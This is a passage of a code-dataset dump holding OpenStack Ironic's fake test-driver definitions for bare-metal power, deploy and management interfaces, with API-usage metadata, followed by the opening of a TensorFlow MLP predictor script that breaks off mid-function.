"api": [{"api_name": "mediapipe.solutions", "line_number": 4, "usage_type": "attribute"}, {"api_name": "mediapipe.solutions", "line_number": 6, "usage_type": "attribute"}, {"api_name": "cv2.VideoCapture", "line_number": 7, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 15, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 34, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 38, "usage_type": "call"}]} +{"seq_id": "650921278", "text": "# -*- encoding: utf-8 -*-\n#\n# Copyright 2013 Hewlett-Packard Development Company, L.P.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\"\"\"\nFake drivers used in testing.\n\"\"\"\n\nfrom oslo_utils import importutils\n\nfrom ironic.common import exception\nfrom ironic.common.i18n import _\nfrom ironic.drivers import base\nfrom ironic.drivers.modules import agent\nfrom ironic.drivers.modules.cimc import management as cimc_mgmt\nfrom ironic.drivers.modules.cimc import power as cimc_power\nfrom ironic.drivers.modules.drac import deploy as drac_deploy\nfrom ironic.drivers.modules.drac import inspect as drac_inspect\nfrom ironic.drivers.modules.drac import management as drac_mgmt\nfrom ironic.drivers.modules.drac import power as drac_power\nfrom ironic.drivers.modules.drac import raid as drac_raid\nfrom ironic.drivers.modules.drac import vendor_passthru as drac_vendor\nfrom ironic.drivers.modules import fake\nfrom ironic.drivers.modules.ilo import inspect as ilo_inspect\nfrom ironic.drivers.modules.ilo import management as ilo_management\nfrom ironic.drivers.modules.ilo import power as ilo_power\nfrom ironic.drivers.modules import inspector\nfrom ironic.drivers.modules import ipmitool\nfrom ironic.drivers.modules.irmc import inspect as irmc_inspect\nfrom ironic.drivers.modules.irmc import management as irmc_management\nfrom ironic.drivers.modules.irmc import power as irmc_power\nfrom ironic.drivers.modules import iscsi_deploy\nfrom ironic.drivers.modules.oneview import common as oneview_common\nfrom ironic.drivers.modules.oneview import management as oneview_management\nfrom ironic.drivers.modules.oneview import power as oneview_power\nfrom ironic.drivers.modules import pxe\nfrom ironic.drivers.modules import snmp\nfrom ironic.drivers.modules import ssh\nfrom ironic.drivers.modules.ucs import management as ucs_mgmt\nfrom ironic.drivers.modules.ucs import power as ucs_power\nfrom ironic.drivers import utils\n\n\nclass FakeDriver(base.BaseDriver):\n \"\"\"Example implementation of a Driver.\"\"\"\n\n def __init__(self):\n self.power = fake.FakePower()\n self.deploy = fake.FakeDeploy()\n self.boot = fake.FakeBoot()\n\n self.a = fake.FakeVendorA()\n self.b = fake.FakeVendorB()\n self.mapping = {'first_method': self.a,\n 'second_method': self.b,\n 'third_method_sync': self.b,\n 'fourth_method_shared_lock': self.b}\n self.vendor = utils.MixinVendorInterface(self.mapping)\n self.console = fake.FakeConsole()\n self.management = fake.FakeManagement()\n self.inspect = fake.FakeInspect()\n self.raid = fake.FakeRAID()\n\n\nclass FakeSoftPowerDriver(FakeDriver):\n \"\"\"Example implementation of a Driver.\"\"\"\n\n def __init__(self):\n super(FakeSoftPowerDriver, self).__init__()\n self.power = fake.FakeSoftPower()\n\n\nclass FakeIPMIToolDriver(base.BaseDriver):\n \"\"\"Example implementation of a Driver.\"\"\"\n\n def __init__(self):\n self.power = ipmitool.IPMIPower()\n self.console = ipmitool.IPMIShellinaboxConsole()\n self.deploy = fake.FakeDeploy()\n self.vendor = ipmitool.VendorPassthru()\n self.management = ipmitool.IPMIManagement()\n\n\nclass FakeIPMIToolSocatDriver(base.BaseDriver):\n \"\"\"Example implementation of a Driver.\"\"\"\n\n def __init__(self):\n self.power = ipmitool.IPMIPower()\n self.console = ipmitool.IPMISocatConsole()\n self.deploy = fake.FakeDeploy()\n self.vendor = ipmitool.VendorPassthru()\n self.management = ipmitool.IPMIManagement()\n\n\nclass FakePXEDriver(base.BaseDriver):\n \"\"\"Example implementation of a Driver.\"\"\"\n\n def __init__(self):\n self.power = fake.FakePower()\n self.boot = pxe.PXEBoot()\n self.deploy = iscsi_deploy.ISCSIDeploy()\n\n\nclass FakeSSHDriver(base.BaseDriver):\n \"\"\"Example implementation of a Driver.\"\"\"\n\n supported = False\n\n def __init__(self):\n self.power = ssh.SSHPower()\n self.deploy = fake.FakeDeploy()\n self.management = ssh.SSHManagement()\n self.console = ssh.ShellinaboxConsole()\n\n\nclass FakeAgentDriver(base.BaseDriver):\n \"\"\"Example implementation of an AgentDriver.\"\"\"\n\n def __init__(self):\n self.power = fake.FakePower()\n self.boot = pxe.PXEBoot()\n self.deploy = agent.AgentDeploy()\n self.raid = agent.AgentRAID()\n\n\nclass FakeIloDriver(base.BaseDriver):\n \"\"\"Fake iLO driver, used in testing.\"\"\"\n\n def __init__(self):\n if not importutils.try_import('proliantutils'):\n raise exception.DriverLoadError(\n driver=self.__class__.__name__,\n reason=_(\"Unable to import proliantutils library\"))\n self.power = ilo_power.IloPower()\n self.deploy = fake.FakeDeploy()\n self.management = ilo_management.IloManagement()\n self.inspect = ilo_inspect.IloInspect()\n\n\nclass FakeDracDriver(base.BaseDriver):\n \"\"\"Fake Drac driver.\"\"\"\n\n def __init__(self):\n if not importutils.try_import('dracclient'):\n raise exception.DriverLoadError(\n driver=self.__class__.__name__,\n reason=_('Unable to import python-dracclient library'))\n\n self.power = drac_power.DracPower()\n self.deploy = drac_deploy.DracDeploy()\n self.management = drac_mgmt.DracManagement()\n self.raid = drac_raid.DracRAID()\n self.vendor = drac_vendor.DracVendorPassthru()\n self.inspect = drac_inspect.DracInspect()\n\n\nclass FakeSNMPDriver(base.BaseDriver):\n \"\"\"Fake SNMP driver.\"\"\"\n\n def __init__(self):\n if not importutils.try_import('pysnmp'):\n raise exception.DriverLoadError(\n driver=self.__class__.__name__,\n reason=_(\"Unable to import pysnmp library\"))\n self.power = snmp.SNMPPower()\n self.deploy = fake.FakeDeploy()\n\n\nclass FakeIRMCDriver(base.BaseDriver):\n \"\"\"Fake iRMC driver.\"\"\"\n\n def __init__(self):\n if not importutils.try_import('scciclient'):\n raise exception.DriverLoadError(\n driver=self.__class__.__name__,\n reason=_(\"Unable to import python-scciclient library\"))\n self.power = irmc_power.IRMCPower()\n self.deploy = fake.FakeDeploy()\n self.management = irmc_management.IRMCManagement()\n self.inspect = irmc_inspect.IRMCInspect()\n\n\nclass FakeIPMIToolInspectorDriver(base.BaseDriver):\n \"\"\"Fake Inspector driver.\"\"\"\n\n def __init__(self):\n self.power = ipmitool.IPMIPower()\n self.console = ipmitool.IPMIShellinaboxConsole()\n self.deploy = fake.FakeDeploy()\n self.vendor = ipmitool.VendorPassthru()\n self.management = ipmitool.IPMIManagement()\n # NOTE(dtantsur): unlike other uses of Inspector, this one is\n # unconditional, as this driver is designed for testing inspector\n # integration.\n self.inspect = inspector.Inspector()\n\n\nclass FakeUcsDriver(base.BaseDriver):\n \"\"\"Fake UCS driver.\"\"\"\n\n def __init__(self):\n if not importutils.try_import('UcsSdk'):\n raise exception.DriverLoadError(\n driver=self.__class__.__name__,\n reason=_(\"Unable to import UcsSdk library\"))\n self.power = ucs_power.Power()\n self.deploy = fake.FakeDeploy()\n self.management = ucs_mgmt.UcsManagement()\n\n\nclass FakeCIMCDriver(base.BaseDriver):\n \"\"\"Fake CIMC driver.\"\"\"\n\n def __init__(self):\n if not importutils.try_import('ImcSdk'):\n raise exception.DriverLoadError(\n driver=self.__class__.__name__,\n reason=_(\"Unable to import ImcSdk library\"))\n self.power = cimc_power.Power()\n self.deploy = fake.FakeDeploy()\n self.management = cimc_mgmt.CIMCManagement()\n\n\nclass FakeOneViewDriver(base.BaseDriver):\n \"\"\"Fake OneView driver. For testing purposes. \"\"\"\n\n def __init__(self):\n if not importutils.try_import('oneview_client.client'):\n raise exception.DriverLoadError(\n driver=self.__class__.__name__,\n reason=_(\"Unable to import python-oneviewclient library\"))\n\n # Checks connectivity to OneView and version compatibility on driver\n # initialization\n oneview_client = oneview_common.get_oneview_client()\n oneview_client.verify_oneview_version()\n oneview_client.verify_credentials()\n self.power = oneview_power.OneViewPower()\n self.management = oneview_management.OneViewManagement()\n self.boot = fake.FakeBoot()\n self.deploy = fake.FakeDeploy()\n self.inspect = fake.FakeInspect()\n", "sub_path": "ironic/drivers/fake.py", "file_name": "fake.py", "file_ext": "py", "file_size_in_byte": 9111, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "ironic.drivers.base.BaseDriver", "line_number": 55, "usage_type": "attribute"}, {"api_name": "ironic.drivers.base", "line_number": 55, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakePower", "line_number": 59, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 59, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakeDeploy", "line_number": 60, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 60, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakeBoot", "line_number": 61, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 61, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakeVendorA", "line_number": 63, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 63, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakeVendorB", "line_number": 64, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 64, "usage_type": "name"}, {"api_name": "ironic.drivers.utils.MixinVendorInterface", "line_number": 69, "usage_type": "call"}, {"api_name": "ironic.drivers.utils", "line_number": 69, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakeConsole", "line_number": 70, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 70, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakeManagement", "line_number": 71, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 71, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakeInspect", "line_number": 72, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 72, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakeRAID", "line_number": 73, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 73, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakeSoftPower", "line_number": 81, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 81, "usage_type": "name"}, {"api_name": "ironic.drivers.base.BaseDriver", "line_number": 84, "usage_type": "attribute"}, {"api_name": "ironic.drivers.base", "line_number": 84, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.ipmitool.IPMIPower", "line_number": 88, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.ipmitool", "line_number": 88, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.ipmitool.IPMIShellinaboxConsole", "line_number": 89, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.ipmitool", "line_number": 89, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakeDeploy", "line_number": 90, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 90, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.ipmitool.VendorPassthru", "line_number": 91, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.ipmitool", "line_number": 91, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.ipmitool.IPMIManagement", "line_number": 92, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.ipmitool", "line_number": 92, "usage_type": "name"}, {"api_name": "ironic.drivers.base.BaseDriver", "line_number": 95, "usage_type": "attribute"}, {"api_name": "ironic.drivers.base", "line_number": 95, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.ipmitool.IPMIPower", "line_number": 99, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.ipmitool", "line_number": 99, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.ipmitool.IPMISocatConsole", "line_number": 100, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.ipmitool", "line_number": 100, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakeDeploy", "line_number": 101, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 101, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.ipmitool.VendorPassthru", "line_number": 102, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.ipmitool", "line_number": 102, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.ipmitool.IPMIManagement", "line_number": 103, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.ipmitool", "line_number": 103, "usage_type": "name"}, {"api_name": "ironic.drivers.base.BaseDriver", "line_number": 106, "usage_type": "attribute"}, {"api_name": "ironic.drivers.base", "line_number": 106, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakePower", "line_number": 110, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 110, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.pxe.PXEBoot", "line_number": 111, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.pxe", "line_number": 111, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.iscsi_deploy.ISCSIDeploy", "line_number": 112, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.iscsi_deploy", "line_number": 112, "usage_type": "name"}, {"api_name": "ironic.drivers.base.BaseDriver", "line_number": 115, "usage_type": "attribute"}, {"api_name": "ironic.drivers.base", "line_number": 115, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.ssh.SSHPower", "line_number": 121, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.ssh", "line_number": 121, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakeDeploy", "line_number": 122, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 122, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.ssh.SSHManagement", "line_number": 123, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.ssh", "line_number": 123, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.ssh.ShellinaboxConsole", "line_number": 124, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.ssh", "line_number": 124, "usage_type": "name"}, {"api_name": "ironic.drivers.base.BaseDriver", "line_number": 127, "usage_type": "attribute"}, {"api_name": "ironic.drivers.base", "line_number": 127, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakePower", "line_number": 131, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 131, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.pxe.PXEBoot", "line_number": 132, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.pxe", "line_number": 132, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.agent.AgentDeploy", "line_number": 133, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.agent", "line_number": 133, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.agent.AgentRAID", "line_number": 134, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.agent", "line_number": 134, "usage_type": "name"}, {"api_name": "ironic.drivers.base.BaseDriver", "line_number": 137, "usage_type": "attribute"}, {"api_name": "ironic.drivers.base", "line_number": 137, "usage_type": "name"}, {"api_name": "oslo_utils.importutils.try_import", "line_number": 141, "usage_type": "call"}, {"api_name": "oslo_utils.importutils", "line_number": 141, "usage_type": "name"}, {"api_name": "ironic.common.exception.DriverLoadError", "line_number": 142, "usage_type": "call"}, {"api_name": "ironic.common.exception", "line_number": 142, "usage_type": "name"}, {"api_name": "ironic.common.i18n._", "line_number": 144, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.ilo.power.IloPower", "line_number": 145, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.ilo.power", "line_number": 145, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakeDeploy", "line_number": 146, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 146, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.ilo.management.IloManagement", "line_number": 147, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.ilo.management", "line_number": 147, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.ilo.inspect.IloInspect", "line_number": 148, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.ilo.inspect", "line_number": 148, "usage_type": "name"}, {"api_name": "ironic.drivers.base.BaseDriver", "line_number": 151, "usage_type": "attribute"}, {"api_name": "ironic.drivers.base", "line_number": 151, "usage_type": "name"}, {"api_name": "oslo_utils.importutils.try_import", "line_number": 155, "usage_type": "call"}, {"api_name": "oslo_utils.importutils", "line_number": 155, "usage_type": "name"}, {"api_name": "ironic.common.exception.DriverLoadError", "line_number": 156, "usage_type": "call"}, {"api_name": "ironic.common.exception", "line_number": 156, "usage_type": "name"}, {"api_name": "ironic.common.i18n._", "line_number": 158, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.drac.power.DracPower", "line_number": 160, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.drac.power", "line_number": 160, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.drac.deploy.DracDeploy", "line_number": 161, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.drac.deploy", "line_number": 161, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.drac.management.DracManagement", "line_number": 162, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.drac.management", "line_number": 162, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.drac.raid.DracRAID", "line_number": 163, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.drac.raid", "line_number": 163, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.drac.vendor_passthru.DracVendorPassthru", "line_number": 164, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.drac.vendor_passthru", "line_number": 164, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.drac.inspect.DracInspect", "line_number": 165, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.drac.inspect", "line_number": 165, "usage_type": "name"}, {"api_name": "ironic.drivers.base.BaseDriver", "line_number": 168, "usage_type": "attribute"}, {"api_name": "ironic.drivers.base", "line_number": 168, "usage_type": "name"}, {"api_name": "oslo_utils.importutils.try_import", "line_number": 172, "usage_type": "call"}, {"api_name": "oslo_utils.importutils", "line_number": 172, "usage_type": "name"}, {"api_name": "ironic.common.exception.DriverLoadError", "line_number": 173, "usage_type": "call"}, {"api_name": "ironic.common.exception", "line_number": 173, "usage_type": "name"}, {"api_name": "ironic.common.i18n._", "line_number": 175, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.snmp.SNMPPower", "line_number": 176, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.snmp", "line_number": 176, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakeDeploy", "line_number": 177, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 177, "usage_type": "name"}, {"api_name": "ironic.drivers.base.BaseDriver", "line_number": 180, "usage_type": "attribute"}, {"api_name": "ironic.drivers.base", "line_number": 180, "usage_type": "name"}, {"api_name": "oslo_utils.importutils.try_import", "line_number": 184, "usage_type": "call"}, {"api_name": "oslo_utils.importutils", "line_number": 184, "usage_type": "name"}, {"api_name": "ironic.common.exception.DriverLoadError", "line_number": 185, "usage_type": "call"}, {"api_name": "ironic.common.exception", "line_number": 185, "usage_type": "name"}, {"api_name": "ironic.common.i18n._", "line_number": 187, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.irmc.power.IRMCPower", "line_number": 188, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.irmc.power", "line_number": 188, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakeDeploy", "line_number": 189, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 189, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.irmc.management.IRMCManagement", "line_number": 190, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.irmc.management", "line_number": 190, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.irmc.inspect.IRMCInspect", "line_number": 191, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.irmc.inspect", "line_number": 191, "usage_type": "name"}, {"api_name": "ironic.drivers.base.BaseDriver", "line_number": 194, "usage_type": "attribute"}, {"api_name": "ironic.drivers.base", "line_number": 194, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.ipmitool.IPMIPower", "line_number": 198, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.ipmitool", "line_number": 198, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.ipmitool.IPMIShellinaboxConsole", "line_number": 199, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.ipmitool", "line_number": 199, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakeDeploy", "line_number": 200, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 200, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.ipmitool.VendorPassthru", "line_number": 201, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.ipmitool", "line_number": 201, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.ipmitool.IPMIManagement", "line_number": 202, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.ipmitool", "line_number": 202, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.inspector.Inspector", "line_number": 206, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.inspector", "line_number": 206, "usage_type": "name"}, {"api_name": "ironic.drivers.base.BaseDriver", "line_number": 209, "usage_type": "attribute"}, {"api_name": "ironic.drivers.base", "line_number": 209, "usage_type": "name"}, {"api_name": "oslo_utils.importutils.try_import", "line_number": 213, "usage_type": "call"}, {"api_name": "oslo_utils.importutils", "line_number": 213, "usage_type": "name"}, {"api_name": "ironic.common.exception.DriverLoadError", "line_number": 214, "usage_type": "call"}, {"api_name": "ironic.common.exception", "line_number": 214, "usage_type": "name"}, {"api_name": "ironic.common.i18n._", "line_number": 216, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.ucs.power.Power", "line_number": 217, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.ucs.power", "line_number": 217, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakeDeploy", "line_number": 218, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 218, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.ucs.management.UcsManagement", "line_number": 219, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.ucs.management", "line_number": 219, "usage_type": "name"}, {"api_name": "ironic.drivers.base.BaseDriver", "line_number": 222, "usage_type": "attribute"}, {"api_name": "ironic.drivers.base", "line_number": 222, "usage_type": "name"}, {"api_name": "oslo_utils.importutils.try_import", "line_number": 226, "usage_type": "call"}, {"api_name": "oslo_utils.importutils", "line_number": 226, "usage_type": "name"}, {"api_name": "ironic.common.exception.DriverLoadError", "line_number": 227, "usage_type": "call"}, {"api_name": "ironic.common.exception", "line_number": 227, "usage_type": "name"}, {"api_name": "ironic.common.i18n._", "line_number": 229, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.cimc.power.Power", "line_number": 230, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.cimc.power", "line_number": 230, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakeDeploy", "line_number": 231, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 231, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.cimc.management.CIMCManagement", "line_number": 232, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.cimc.management", "line_number": 232, "usage_type": "name"}, {"api_name": "ironic.drivers.base.BaseDriver", "line_number": 235, "usage_type": "attribute"}, {"api_name": "ironic.drivers.base", "line_number": 235, "usage_type": "name"}, {"api_name": "oslo_utils.importutils.try_import", "line_number": 239, "usage_type": "call"}, {"api_name": "oslo_utils.importutils", "line_number": 239, "usage_type": "name"}, {"api_name": "ironic.common.exception.DriverLoadError", "line_number": 240, "usage_type": "call"}, {"api_name": "ironic.common.exception", "line_number": 240, "usage_type": "name"}, {"api_name": "ironic.common.i18n._", "line_number": 242, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.oneview.common.get_oneview_client", "line_number": 246, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.oneview.common", "line_number": 246, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.oneview.power.OneViewPower", "line_number": 249, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.oneview.power", "line_number": 249, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.oneview.management.OneViewManagement", "line_number": 250, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.oneview.management", "line_number": 250, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakeBoot", "line_number": 251, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 251, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakeDeploy", "line_number": 252, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 252, "usage_type": "name"}, {"api_name": "ironic.drivers.modules.fake.FakeInspect", "line_number": 253, "usage_type": "call"}, {"api_name": "ironic.drivers.modules.fake", "line_number": 253, "usage_type": "name"}]} +{"seq_id": "606749086", "text": "'''\nPredictor MLP model for gpu-cloud\n'''\n\nfrom __future__ import print_function\nfrom argparse import ArgumentParser, ArgumentDefaultsHelpFormatter\nimport tensorflow as tf\nimport numpy as np\nimport csv\nimport random\ndef loadNormData(norm_file):\n\tret_vectors = []\n\twith open(norm_file,\"r\") as fp:\n\t\tvector_lines = fp.readlines()\n\t\tfor line in vector_lines:\n\t\t\tnorm_info = []\n\t\t\t\ndef unnormalizeData(vectors, norm_info):\n\tfor i in range(len(vectors[0])):\n\t\tmin_num = norm_info[i][0]\n\t\tmax_num = norm_info[i][1]\n\t\tif min_num != max_num:\n\t\t\tfor j in range(len(vectors)):\n\t\t\t\tvectors[j][i] = (max_num - min_num) * vectors[j][i] + min_num\n\ndef returnLog(vectors): \n\tnew_vectors = []\n\tfor i in range(len(vectors)):\n\t\tvector = []\n#\t\tfor j in range(len(vectors[0])):\n#\t\t\tvector.append(np.log)\n#\t\tprint(vector)\n\t\tnew_vectors.append(np.log(vectors[i]))\n\treturn new_vectors\ndef returnExp(vectors):\n\tnew_vectors = []\n\tfor i in range(len(vectors)):\n\t\t#vector = []\n\t\t#for j in range(len(vectors[0])):\n\t\t#vector.append(np.exp(vectors[i][j]))\n\t\tnew_vectors.append(np.exp(vectors[i]))\n\treturn new_vectors\n\n\t\t\ndef getRandBatch(data,label,batch_size):\n\ti=0\n\tdata_batch = []\n\tlabel_batch = []\n\tN = len(data)\n\twhile i